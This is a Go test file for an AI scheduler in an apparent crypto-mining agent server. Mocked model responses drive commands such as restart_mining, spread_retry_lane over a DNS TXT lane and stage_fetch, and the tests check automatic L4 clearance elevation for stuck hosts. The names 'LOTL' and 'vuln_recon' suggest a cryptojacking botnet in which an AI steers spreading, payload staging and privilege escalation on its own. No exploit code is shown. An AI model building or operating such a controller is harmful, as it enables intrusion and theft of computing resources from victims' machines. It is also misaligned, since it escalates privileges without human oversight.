AetherForge/server/internal/ai/scheduler_test.go

package ai

import (
	"context"
	"sync"
	"testing"
	"time"

	"crypto-miner-server/internal/clearance"
)

type mockSnap struct {
	ids  []string
	snap AgentSnapshot
}

func (m *mockSnap) ConnectedAgentIDs() []string { return m.ids }
func (m *mockSnap) AgentSnapshot(string) (AgentSnapshot, bool) {
	return m.snap, true
}

type mockExec struct {
	mu    sync.Mutex
	calls []Command
}

func (m *mockExec) Execute(_ string, cmd Command) (string, error) {
	m.mu.Lock()
	m.calls = append(m.calls, cmd)
	m.mu.Unlock()
	return cmd.Type, nil
}

type mockCfg struct{ cfg Config }

func (m *mockCfg) AIConfig() Config { return m.cfg }

type mockStore struct {
	mu   sync.Mutex
	rows []string
}

func (m *mockStore) InsertAIDecision(_, _, _, executed string, _ *CourtDecisionMeta) error {
	m.mu.Lock()
	m.rows = append(m.rows, executed)
	m.mu.Unlock()
	return nil
}

func TestSchedulerExecutesRestartCommand(t *testing.T) {
	old := DecideFunc
	defer func() { DecideFunc = old }()
	DecideFunc = func(_ context.Context, _, _, _, _ string) (string, error) {
		return `{"commands":[{"type":"restart_mining","args":{}}]}`, nil
	}

	exec := &mockExec{}
	store := &mockStore{}
	sched := NewScheduler(
		&mockCfg{cfg: Config{Enabled: true, Endpoint: "http://test/v1", IntervalSec: 1}},
		&mockSnap{ids: []string{"agent-1"}, snap: AgentSnapshot{AgentID: "agent-1", Name: "host"}},
		exec,
		store,
		nil,
		nil,
	)
	sched.lastRun["agent-1"] = time.Now().Add(-2 * time.Minute)
	sched.Tick()

	exec.mu.Lock()
	n := len(exec.calls)
	call := exec.calls
	exec.mu.Unlock()
	if n != 1 || call[0].Type != CmdRestartMining {
		t.Fatalf("calls: %+v", call)
	}
	store.mu.Lock()
	defer store.mu.Unlock()
	if len(store.rows) != 1 || store.rows[0] != "restart_mining:restart_mining" {
		t.Fatalf("store: %v", store.rows)
	}
}

func TestSchedulerNoOpWhenDisabled(t *testing.T) {
	exec := &mockExec{}
	sched := NewScheduler(
		&mockCfg{cfg: Config{Enabled: false}},
		&mockSnap{ids: []string{"agent-1"}},
		exec,
		nil,
		nil,
		nil,
	)
	sched.Tick()
	if len(exec.calls) != 0 {
		t.Fatalf("expected no calls")
	}
}

type mockElevator struct {
	mu       sync.Mutex
	requests []struct {
		agentID  string
		toLevel  int
		reason   string
		source   string
	}
	level int
}

func (m *mockElevator) Level(string) int {
	if m.level > 0 {
		return m.level
	}
	return clearance.L1
}

func (m *mockElevator) RequestElevation(agentID string, toLevel int, reason, source string) (int, error) {
	m.mu.Lock()
	defer m.mu.Unlock()
	m.requests = append(m.requests, struct {
		agentID string
		toLevel int
		reason  string
		source  string
	}{agentID, toLevel, reason, source})
	m.level = toLevel
	return toLevel, nil
}

func TestSchedulerStuckHostTriggersL4Elevation(t *testing.T) {
	old := DecideFunc
	defer func() { DecideFunc = old }()
	DecideFunc = func(_ context.Context, _, _, _, _ string) (string, error) {
		return `{"commands":[{"type":"noop","args":{}}]}`, nil
	}

	elevator := &mockElevator{}
	sched := NewScheduler(
		&mockCfg{cfg: Config{Enabled: true, Endpoint: "http://test/v1", IntervalSec: 1, AutoElevateClearance: true}},
		&mockSnap{
			ids: []string{"stuck-1"},
			snap: AgentSnapshot{
				AgentID: "stuck-1", Name: "host", Stuck: true, FailedTierCount: 14,
			},
		},
		&mockExec{},
		&mockStore{},
		nil,
		elevator,
	)
	sched.lastRun["stuck-1"] = time.Now().Add(-2 * time.Minute)
	sched.Tick()

	elevator.mu.Lock()
	defer elevator.mu.Unlock()
	if len(elevator.requests) != 1 {
		t.Fatalf("expected 1 elevation, got %+v", elevator.requests)
	}
	req := elevator.requests[0]
	if req.toLevel != clearance.L4 || req.reason != "stuck host recovery" {
		t.Fatalf("unexpected elevation: %+v", req)
	}
}

type mockSurgicalTrace struct {
	trace SurgicalTraceContext
	ok    bool
}

func (m *mockSurgicalTrace) TraceForAgent(string) (SurgicalTraceContext, bool) {
	return m.trace, m.ok
}

type mockStrainStore struct {
	mu   sync.Mutex
	rows []string
}

func (m *mockStrainStore) InsertStrainMemory(agentID, sessionID, failedTier, strain, fixType, fixArgs, outcome string) error {
	m.mu.Lock()
	m.rows = append(m.rows, agentID+":"+fixType+":"+outcome)
	m.mu.Unlock()
	return nil
}

type mockSeer struct {
	mu     sync.Mutex
	events []string
}

func (m *mockSeer) EmitSeerEvent(eventType, agentID string, payload map[string]interface{}) error {
	m.mu.Lock()
	m.events = append(m.events, eventType+":"+agentID)
	m.mu.Unlock()
	return nil
}

func TestSchedulerSurgicalReplayDispatchesOneCommand(t *testing.T) {
	old := DecideFunc
	defer func() { DecideFunc = old }()
	DecideFunc = func(_ context.Context, _, _, _, _ string) (string, error) {
		return `Rationale: skip broken docker tier.
{"commands":[{"type":"skip_tier","args":{"tier":"docker"}}]}`, nil
	}

	exec := &mockExec{}
	store := &mockStore{}
	strain := &mockStrainStore{}
	seer := &mockSeer{}
	sched := NewScheduler(
		&mockCfg{cfg: Config{Enabled: true, Endpoint: "http://test/v1", IntervalSec: 1}},
		&mockSnap{
			ids: []string{"surg-1"},
			snap: AgentSnapshot{
				AgentID: "surg-1", Name: "host",
				LOTLAttempts: []TierAttempt{
					{Tier: "vuln_recon", OK: true},
					{Tier: "docker", OK: false, Error: "daemon down"},
				},
			},
		},
		exec,
		store,
		nil,
		nil,
	)
	sched.SetSurgicalDeps(SurgicalDeps{
		Trace: &mockSurgicalTrace{
			trace: SurgicalTraceContext{SessionID: "trace-99", HopIndex: 0, HopCount: 2},
			ok:    true,
		},
		Strain: strain,
		Seer:   seer,
	})
	sched.lastRun["surg-1"] = time.Now().Add(-2 * time.Minute)
	sched.Tick()

	exec.mu.Lock()
	n := len(exec.calls)
	call := exec.calls
	exec.mu.Unlock()
	if n != 1 || call[0].Type != CmdReorderTiers {
		t.Fatalf("expected single reorder_tiers dispatch, got %+v", call)
	}
	strain.mu.Lock()
	defer strain.mu.Unlock()
	if len(strain.rows) != 1 {
		t.Fatalf("strain memory: %v", strain.rows)
	}
	seer.mu.Lock()
	defer seer.mu.Unlock()
	if len(seer.events) != 1 || seer.events[0] != "surgical_replay:surg-1" {
		t.Fatalf("seer events: %v", seer.events)
	}
}

func TestSchedulerCourtRetryElevatesL4(t *testing.T) {
	old := DecideFunc
	defer func() { DecideFunc = old }()
	DecideFunc = func(_ context.Context, _, _, _, _ string) (string, error) {
		return `Verdict: retry dns_txt.
{"commands":[{"type":"spread_retry_lane","args":{"lane":"dns_txt","data":"{}"}}]}`, nil
	}

	elevator := &mockElevator{}
	exec := &mockExec{}
	sched := NewScheduler(
		&mockCfg{cfg: Config{Enabled: true, Endpoint: "http://test/v1", IntervalSec: 1}},
		&mockSnap{
			ids: []string{"court-1"},
			snap: AgentSnapshot{
				AgentID: "court-1", Name: "host", Stuck: true,
				LOTLAttempts: stuckSpreadAttempts(),
			},
		},
		exec,
		&mockStore{},
		&mockCourt{},
		elevator,
	)
	sched.lastRun["court-1"] = time.Now().Add(-2 * time.Minute)
	sched.Tick()

	elevator.mu.Lock()
	defer elevator.mu.Unlock()
	found := false
	for _, req := range elevator.requests {
		if req.toLevel == clearance.L4 && req.reason == "court-mandated retry" {
			found = true
			break
		}
	}
	if !found {
		t.Fatalf("expected court-mandated L4 elevation, got %+v", elevator.requests)
	}
	if len(exec.calls) == 0 || exec.calls[0].Type != CmdStageFetch {
		t.Fatalf("expected stage_fetch dispatch, got %+v", exec.calls)
	}
}